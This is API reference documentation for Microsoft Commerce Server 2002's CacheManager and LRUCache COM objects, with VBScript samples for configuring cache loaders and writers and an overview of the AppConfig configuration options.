These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The CacheObjectProgId parameter contains valid data only if the property was accessed successfully.

By default, the CacheManager object will have Commerce.Dictionary set as the value for this property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_LoaderConfig, putref_LoaderConfig Property [C++]

CacheManager.LoaderConfig Property [Visual Basic]

The LoaderConfig property is a read/write reference to a Dictionary object that contains configuration information for the Loader component.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_LoaderConfig(
 BSTR bstrName,
 IDispatch** LoaderConfig
);

Put method:

HRESULT ICacheManager::putref_LoaderConfig(
 BSTR bstrName,
 IDispatch* LoaderConfig
);
[Visual Basic]
Property LoaderConfig(
 bstrName As String
) As IDispatch

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which Loader component configuration information is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which Loader component configuration information is being provided or retrieved.
LoaderConfig [C++]
[in] When putting the property, a pointer to the IDispatch interface of the Dictionary object that contains the Loader component configuration information.
[out,retval] When getting the property, the address of a pointer used to return the IDispatch interface of the Dictionary object that contains the configuration information.
[C++]

Return Values

This method returns an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property, a Dictionary object containing configuration information for a particular Loader component, will be passed to that Loader component when it is created to load the associated data cache. When you set this property, the dictionary is shallow cloned and then the CacheManager object stores the clone of the dictionary. This is as opposed to simply storing a reference to the dictionary. Shallow clone means that scalars in the dictionary are copied by value, but other objects in the dictionary are copied by reference. The Loader component needs to implement the IPipelineComponentAdmin interface in order to read the configuration values from the dictionary, and in particular, the SetConfigData method of that interface. The Dictionary object identified by this property is passed to the newly created Loader component using the SetConfigData method.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_LoaderProgId, put_LoaderProgId Property [C++]

CacheManager.LoaderProgId Property [Visual Basic]

The LoaderProgId property is a read/write string that contains the ProgID of the component intended for use in populating the cache.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_LoaderProgId(
 BSTR bstrName,
 BSTR* LoaderProgId
);

Put method:

HRESULT ICacheManager::put_LoaderProgId(
 BSTR bstrName,
 BSTR LoaderProgId
);
[Visual Basic]
Property LoaderProgId(
 bstrName As String
) As String

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which the Loader component ProgID is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which the Loader component ProgID is being provided or retrieved.
LoaderProgId [C++]
[in] When putting the property, a BSTR that contains the ProgID of the Loader component.
[out,retval] When getting the property, a pointer to a BSTR user to return the ProgID of the Loader component.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_RefreshInterval, put_RefreshInterval Property [C++]

CacheManager.RefreshInterval Property [Visual Basic]

The RefreshInterval property is a read/write number that specifies the approximate number of seconds between automatic cache refresh operations on a specified cache.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_RefreshInterval(
 BSTR bstrName,
 long* RefreshInterval
);

Put method:

HRESULT ICacheManager::put_RefreshInterval(
 BSTR bstrName,
 long RefreshInterval
);
[Visual Basic]
Property RefreshInterval(
 bstrName As String
) As Long

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which the refresh interval is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which the refresh interval is being provided or retrieved.
RefreshInterval [C++]
[in] When putting the property, a long that contains the new refresh interval value.
[out,retval] When getting the property, a pointer to a long used to return the current refresh interval value.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A refresh interval value of zero (0) means that the cache is never refreshed automatically.

The default refresh interval value is zero (0).

The value is a measurement of the number of seconds between automatic cache refresh operations.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_RetryInterval, put_RetryInterval Property [C++]

CacheManager.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write number that specifies the approximate number of seconds to wait before retrying to load the data cache after failing to load.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_RetryInterval(
 BSTR bstrName,
 long* RetryInterval
);

Put method:

HRESULT ICacheManager::put_RetryInterval(
 BSTR bstrName,
 long RetryInterval
);
[Visual Basic]
Property RetryInterval(
 bstrName As String
) As Long

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which the retry interval is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which the retry interval is being provided or retrieved.
RetryInterval [C++]
[in] When putting the property, a long that contains the new retry interval value.
[out,retval] When getting the property, a pointer to a long used to return the current retry interval value.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A retry interval value provides the number of seconds the CacheManager object should wait before retrying a failed cache refresh operation.

The default retry interval value is 60 (seconds).

The retry interval must be at least 1 (second).

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_WriterConfig, putref_WriterConfig Property [C++]

CacheManager.WriterConfig Property [Visual Basic]

The WriterConfig property is a read/write reference to a Dictionary object that contains configuration information for the Writer component.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_WriterConfig(
 BSTR bstrName,
 IDispatch** WriterConfig
);

Put method:

HRESULT ICacheManager::putref_WriterConfig(
 BSTR bstrName,
 IDispatch* WriterConfig
);
[Visual Basic]
Property WriterConfig(
 bstrName As String
) As IDispatch

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which Writer component configuration information is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which Writer component configuration information is being provided or retrieved.
WriterConfig [C++]
[in] When putting the property, a pointer to the IDispatch interface of the Dictionary object that contains the Writer component configuration information.
[out,retval] When getting the property, the address of a pointer used to return the IDispatch interface of the Dictionary object that contains the configuration information.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property, a Dictionary object containing configuration information for a particular Writer component, is passed to that Writer component when it is created to report results related to cache usage. When you set this property, the dictionary is shallow cloned and then the CacheManager object stores the clone of the dictionary. This is as opposed to simply storing a reference to the dictionary. Shallow clone means that scalars in the dictionary are copied by value, but other objects in the dictionary are copied by reference. The Writer component needs to implement the IPipelineComponentAdmin interface in order to read the configuration values from the dictionary, and in particular, the SetConfigData method of that interface. The Dictionary object identified by this property is passed to the created Writer component using the SetConfigData method.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


ICacheManager::get_WriterProgId, put_WriterProgId Property Property [C++]

CacheManager.WriterProgId Property [Visual Basic]

The WriterProgId property is a read/write string that contains the Programmatic Identifier (ProgID) of the component intended for use in populating the cache.

Definition

[C++]

Get method:

HRESULT ICacheManager::get_WriterProgId(
 BSTR bstrName,
 BSTR* WriterProgId
);

Put method:

HRESULT ICacheManager::put_WriterProgId(
 BSTR bstrName,
 BSTR WriterProgId
);
[Visual Basic]
Property WriterProgId(
 bstrName As String
) As String

Parameters

bstrName [C++]
[in] A BSTR that contains the name of a data cache for which the Writer component ProgID is being provided or retrieved.
bstrName [Visual Basic]
A String that contains the name of a data cache for which the Writer component ProgID is being provided or retrieved.
WriterProgId [C++]
[in] When putting the property, a BSTR that contains the ProgID of the Writer component.
[out,retval] When getting the property, a pointer to a BSTR user to return the ProgID of the Writer component.
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object


LRUCache Object [C++]

LRUCache Object [Visual Basic]

Use this object to support the creation, storage, and retrieval of name/value pairs, referred to as elements, from a cache in memory. The LRUCache object functions similarly to the Dictionary object, except that it only stores a limited number of elements, and internally ranks them according to use. When the cache is full and a new element needs to be added, the least recently used element is removed from the cache to make room for the new element.

ProgID: | Commerce.LRUCache (Externally creatable)
COM Class Name: | LRUCache
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]

COM Interface Name: | ILRUCache
Interface ID Constant: | IID_ILRUCache
Header File: | cacheint.h, mspu_guids.h
[C++]

In C++, use the ILRUCache interface to access the methods of the LRUCache object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.
[Visual Basic]
Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.

Remarks

The LRUCache object is typically created by the CacheManager object rather than directly from an ASP script. It is configured through the Cachemanager.LoaderConfig property. This is done by configuring a CacheManager cache with a LoaderProgID of Commerce.LRUCacheFlush and by setting the LoaderConfig dictionary properties as shown in the table below. The configuration parameters are contained in a Dictionary object.

The following table shows the keys in the dictionary containing the configuration parameters.

Key | Definition
CacheSize | Specifies the size of the cache. A value of –1 will result in the default value of 1000 items being used.
ConnectionString | The connection string to the database where the LRUCacheFlush object should register the cache.
TableName | The name of the table where the LRUCacheFlush object should register the cache.
AppUrl | The fully qualified URL of the Commerce Server application without a page name.
CacheName | The name of the cache.

Note

  • The ConnecitonString, TableName, and CacheName keys are required. If any of them are not set the LRUCacheFlush object will not register the cache.

The LRUCacheFlush object registers the LRUCache object so that it can be flushed from Commerce Server Business Desk.

For more information, and to view a sample configuration of the LRUCache object, see Code to Use Caching with a Catalog.

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object

Code to Use Caching with a Catalog

Code to Manipulate an LRUCache Object


ILRUCache Methods [C++]

LRUCache Methods [Visual Basic]

Methods

[C++]
Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.
[Visual Basic]
Method | Description
Flush | Removes an element from the cache.
FlushAll | Removes all elements from the cache.
Insert | Inserts an element into the cache.
Lookup | Returns the value of an element in the cache when given the name of the element.
LookupObject | Returns an object in the cache when given the name of the object.
SetSize | Sets the maximum size of the cache.


ILRUCache::Flush Method [C++]

LRUCache.Flush Method [Visual Basic]

Use this method to remove the specified element from the cache.

Definition

[C++]
HRESULT ILRUCache::Flush(
  BSTR bstrKey
);
[Visual Basic]
Sub Flush(
  Optional bstrKey As String
)

Parameters

bstrKey [C++]
[in, optional] A BSTR that contains the name of the element to be removed from the cache.
bstrKey [Visual Basic]
An optional String that contains the name of the element to be removed from the cache.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If no element is specified, all elements are removed.

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


ILRUCache::FlushAll Method [C++]

LRUCache.FlushAll Method [Visual Basic]

Use this method to remove all elements from the cache.

Definition

[C++]
HRESULT ILRUCache::FlushAll(
);
[Visual Basic]
Sub FlushAll()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


ILRUCache::Insert Method [C++]

LRUCache.Insert Method [Visual Basic]

Use this method to add an element to the cache.

Definition

[C++]
HRESULT ILRUCache::Insert(
  BSTR bstrKey,
  VARIANT* pvarValue
);
[Visual Basic]
Sub Insert(
  bstrKey As String,
  pvarValue As Variant
)

Parameters

bstrKey [C++]
[in] A BSTR that contains the name of the element to be added to the cache.
bstrKey [Visual Basic]
A String that contains the name of the element to be added to the cache.
pvarValue [C++]
[in] A pointer to the VARIANT that contains the value of the element.
pvarValue [Visual Basic]
A Variant that contains the value of the element.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vManAd is a Variant that references an ad.
oLRUCache.Insert("ManufacturerAd", vManAd)

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


ILRUCache::Lookup Method [C++]

LRUCache.Lookup Method [Visual Basic]

Use this method to retrieve the value of an element from the cache.

Definition

[C++]
HRESULT ILRUCache::Lookup(
  BSTR bstrKey,
  VARIANT* pvarValue
);
[Visual Basic]
Function Lookup(
  bstrKey As String
) As Variant

Parameters

bstrKey [C++]
[in] A BSTR that contains the name of the element to be retrieved.
bstrKey [Visual Basic]
A String that contains the name of the element to be retrieved.
pvarValue [C++]
[out,retval] A pointer to a VARIANT used to return the value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the value of the specified element.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvarValue parameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vFavAd is a Variant
vFavAd = myLRUCache.Lookup("Favorite Ad")

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


ILRUCache::LookupObject Method [C++]

LRUCache.LookupObject Method [Visual Basic]

Use this method to retrieve an object from the cache.

Definition

[C++]
HRESULT ILRUCache::LookupObject(
  BSTR bstrKey,
  IDispatch** ppLRUCache
);
[Visual Basic]
Function LookupObject(
  bstrKey As String
) As Object

Parameters

bstrKey [C++]
[in] A BSTR that contains the name of the object to be retrieved.
bstrKey [Visual Basic]
A String that contains the name of the object to be retrieved.
ppLRUCache [C++]
[out,retval] The address of a pointer to the IDispatch interface of an object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppLRUCache parameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set oMyObject = oLRUCache.LookupObject("My Object")

See Also

[C++] CacheManager Object

[Visual Basic] CacheManager Object

[C++] LRUCache Object

[Visual Basic] LRUCache Object


ILRUCache::SetSize Method [C++]

LRUCache.SetSize Method [Visual Basic]

Use this method to set the maximum size of the cache.

Definition

[C++]
HRESULT ILRUCache::SetSize(
  long lSize
);
[Visual Basic]
Sub SetSize(
  lSize As Long
)

Parameters

lSize [C++]
[in] A long that specifies the size of the cache.
lSize [Visual Basic]
A Long that specifies the size of the cache.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] CacheManager Object

[C++] LRUCache Object

[Visual Basic] CacheManager Object

[Visual Basic] LRUCache Object


Example Code for Cache Objects

This section contains sample code to create and extend the caching functionality of Commerce Server 2002.

Examples

Example | Description
Code to Implement Custom Cache Components | Describes how to implement custom cache components.
Code to Manipulate an LRUCache Object | Describes how to manipulate an LRUCache object.


Code to Implement Custom Cache Components

Loader and Writer components are used within the Content Selection Framework (CSF) to load caches and write out campaign results.

Loader and Writer components can be apartment-threaded because they are created, used once, and then destroyed by the same thread. This means that they can be written in Microsoft Visual Basic.

Loader and Writer components are implemented as pipeline components, although they are not intended to be executed in the context of a pipeline. They must implement the Execute method of the IPipelineComponent interface for the CacheManager object to be able to execute them. Further, if they require configuration, they must implement the SetConfigData method of the IPipelineComponentAdmin interface. The following tables provide details regarding this requirement.

Loader Component

Method to implement Details
IPipelineComponent::

Execute

 Required for the Loader component to execute.

The pDispContext parameter is set to the existing cache instance, if it exists, otherwise it is set to a new, empty cache object. If the cache object (specified by the LoaderProgId setting for the cache) is a Dictionary object, then the following additional entries are set:

  • _CacheName is set to the name of the cache being refreshed.
  • _CacheRefreshInterval is set to the refresh interval.
  • _CacheFirstRefresh is set to one (1) on the first cache refresh, and to zero (0) thereafter (can be used for conditional error logging).
  • _AppUrl is set to the value of the AppURL property, if any. This entry is optional and might not be set if the CacheManager object is not running in an ASP application.

The pDispOrder parameter is set to a new cache object based on the setting of the LoaderProgId property, normally a Dictionary object or an LRUCache object, which will become the new cache.

The lFlags parameter is set to zero (0).

The plErrorLevel parameter is ignored on return.
IPipelineComponentAdmin::

SetConfigInfo

 Optional. Required only if the Loader component requires configuration. Will be called if the LoaderConfig property has been set.

The pDict parameter is set to point at the Dictionary object specified by the LoaderConfig property.

Writer Component

Method to implement | Details
IPipelineComponent:: Execute | Required for the Writer component to execute. The pDispOrder parameter is set to the existing cache instance. Normally a Writer component will retrieve data from the cache to be written to disk. The pDispContext parameter is set to NULL. The lFlags parameter is set to zero (0). The plErrorLevel parameter is ignored on return.
IPipelineComponentAdmin:: SetConfigInfo | Optional. Required only if the Writer component requires configuration. Will be called if the WriterConfig property has been set. The pDict parameter is set to point at the Dictionary object specified by the WriterConfig property.

The following example code shows how to create and configure a custom cache component.

Set dictConfig = CreateObject("Commerce.Dictionary")
dictConfig("ConnectionString") = "DSN=adsamples;UID=username;PWD=******"
Set CacheManager = Server.CreateObject("Commerce.CacheManager")
CacheManager.LoaderProgId("advertising") = "Commerce.LoadAdvertisements"
Set CacheManager.LoaderConfig("advertising") = dictConfig
CacheManager.WriterProgId("advertising") = "Commerce.WriteEvents"
Set CacheManager.WriterConfig("advertising") = dictConfig
CacheManager.RefreshInterval("advertising") = 10 * 60
CacheManager.RetryInterval("advertising") = 60
Set application("CacheManager") = CacheManager

Now any web page in the application can quickly access the named schedule:

Set CacheManager = application("CacheManager")
Set dictSchedule = CacheManager.GetCache("advertising")


Code to Manipulate an LRUCache Object

The following example code shows how to use the LRUCache object:

' Declare variables to be used.
Dim oLRUCache, oDict, oNewDict, NumVal

' Create an instance of an LRU cache.
Set oLRUCache = CreateObject("Commerce.LRUCache")

' Set the max cache size to 100 items.
oLRUCache.SetSize 100

' Create an object to store.
Set oDict = CreateObject("Commerce.Dictionary")
oDict("Test") = "This is a test."

' Store the Dictionary object.
oLRUCache.Insert "DictObject", oDict

' Store the number 10.
oLRUCache.Insert "Number", 10

' Lookup the stored Dictionary object using method LookupObject.
Dim oNewDict
Set oNewDict = oLRUCache.LookupObject "DictObject"

' Lookup the stored number using method Lookup.
Dim NumVal
NumVal = oLRUCache.Lookup "Number"

' Remove all items from the cache.
oLRUCache.FlushAll

' Display the results, which will be:
' This is a test.
' 10
Response.Write "Dictionary data from cache: " & oDict.Test & "<BR>"
Response.Write "Number stored in cache: " & NumVal & "<BR>"


Configuration Objects

The configuration objects perform a variety of functions, such as creating a site, creating resources, importing and exporting resources, manipulating configuration settings on site and global resources, and retrieving Web site properties.

The Configuration Programming Concepts topic describes the major issues relating to the use of configuration objects.

Objects

Visual Basic Reference | C++ Invocation | Description
AdminWebServer | AdminWebServer | Allows enumeration of Web sites and their properties.
AppConfig | AppConfig | Allows retrieval of country/region codes, and names from the site configuration store.
GlobalConfig | GlobalConfig | Provides methods for the configuration management of global resources.
GlobalConfig2 | GlobalConfig2 | Provides methods for the configuration management of global resources, including several methods not included in the GlobalConfig object.
SiteConfig | SiteConfig | Provides for configuration management of site resources.
SiteConfigReadOnly | SiteConfigReadOnly | Provides methods to read global and site configuration values from the Administration database.

Examples

Example | Description
Code to Dump Configuration Values | Describes how to use the AppConfig object to retrieve site configuration values.
Code to Create a Site | Describes how to create a site.
Code to Create and Manipulate a Global Resource | Describes how to create and manipulate a global resource.
Code to Create and Manipulate a Site-Level Resource | Describes how to create and manipulate a site-level resource.
Code to Export a Resource | Describes how to export a resource.
Code to Import a Resource | Describes how to import a resource.
Code to Retrieve Web Site Properties | Describes how to read the contents of a server-side file and write those contents to the browser.


Configuration Programming Concepts

The following topics describe the configuration objects in Commerce Server and how to use them:

  • AppConfig Object
  • GlobalConfig Object
  • SiteConfig and SiteConfigReadOnly Objects
  • AdminWebServer Object


AppConfig Object

The most important function of the AppConfig object is to retrieve site configuration properties, such as i_FormLoginTimeOut, i_SitePrivacyOptions, various database connection strings, and so on. The GetOptionsDictionary method of the AppConfig object performs this function; however, before using this method, the AppConfig object must be initialized.

Many of the properties that the GetOptionsDictionary method retrieves can be viewed using Commerce Server Manager in the Microsoft Management Console (MMC). The App Default Config node, in the Site Resources folder of the site, in Commerce Server Manager displays the current setting values.

The following table lists the names of the keys in the dictionary returned by the GetOptionsDictionary method of the AppConfig object that are mapped in the App Default Config node in Commerce Server Manager.

Programmatic Name | Commerce Server Manager App Default Config Mapping
f_AltCurrencyConversionRate | Currency: Alternate currency conversion rate
i_AddItemRedirectOptions | Add item redirect options
i_AddressBookOptions | Address Book Options
i_AltCurrencyLocale | Currency: Alternate currency locale
i_AltCurrencyOptions | Currency: Alternate currency options
i_BaseCurrencyLocale | Currency: Base currency locale
i_BillingOptions | Payment options: Billing options
i_BizTalkOptions | BizTalk Options
i_CookiePathCorrectionOptions | Cookie Path Correction Options
i_CurrencyDisplayOrderOptions | Currency: Currency display order options
i_DelegatedAdminOptions | Delegated admin options
i_FormLoginOptions | Form login options
i_FormLoginTimeOut | AuthManager Auth Ticket Timeout
i_HostNameCorrectionOptions | Host Name Correction Options
i_PaymentOptions | Payment options
i_SiteDefaultLocale | Site default locale
i_SitePrivacyOptions | Site privacy options
i_SiteRegistrationOptions | Site registration options
i_SiteTicketOptions | Site ticket options
s_AltCurrencySymbol | Currency: Alternate currency symbol
s_BaseCurrencySymbol | Currency: Base currency symbol
S_BizTalkCatalogDocType | BizTalk Catalog Doc Type
S_BizTalkOrderDocType | BizTalk PO Doc Type
S_BizTalkSourceQualifierID | BizTalk Source Org Qualifier
s_BizTalkSourceQualifierValue | BizTalk Org Qualifier Value
s_BizTalkSubmittypeQueue | BizTalk Submit type
s_PageEncodingCharset | Page encoding charset
s_SMTPServerName | SMTP server name
s_WeightMeasure | Unit of Measure for Weight
s_BizTalkConnString | BizTalk Interchange Manager Database

The following table lists keys in the dictionary returned by the AppConfig.GetOptionsDictionary method which are not mapped in the App Default Config node in Commerce Server Manager.

Programmatic Name | Value or Description
s_CommerceProviderConnectionString | Biz Data Service: s_CommerceProviderConnectionString
s_ProfileServiceConnectionString | Biz Data Service: s_ProfileServiceConnectionString
s_CatalogConnectionString | Product Catalog: connstr_db_Catalog
s_TransactionConfigConnectionString | Transaction Config: connstr_db_TransactionConfig
s_TransactionsConnectionString | Transactions: connstr_db_Transactions
s_BizDataStoreConnectionString | Biz Data Service: s_BizDataStoreConnectionString
s_CampaignsConnectionString | Campaigns: connstr_db_Campaigns
i_IsFullTextSearchInstalled | Indicates whether SQL Server has full text search enabled
s_SiteName | Name of the site
s_NonSecureHostname | This value is set in the Global.asa file to the non-secure host name of the application.
s_SecureHostname | This value is set in the Global.asa file to the secure host name of the application.

See Also

GlobalConfig Object

SiteConfig and SiteConfigReadOnly Objects

AdminWebServer Object


GlobalConfig Object

The GlobalConfig object contains two groups of methods. The first group includes such methods as the MakeArrayFromSimpleList method; their function is obvious from the method name, and will not be discussed here. For more information about these methods, see GlobalConfig Object.. The second group of methods is used to create sites and manipulate configuration data at the global level.

See Also

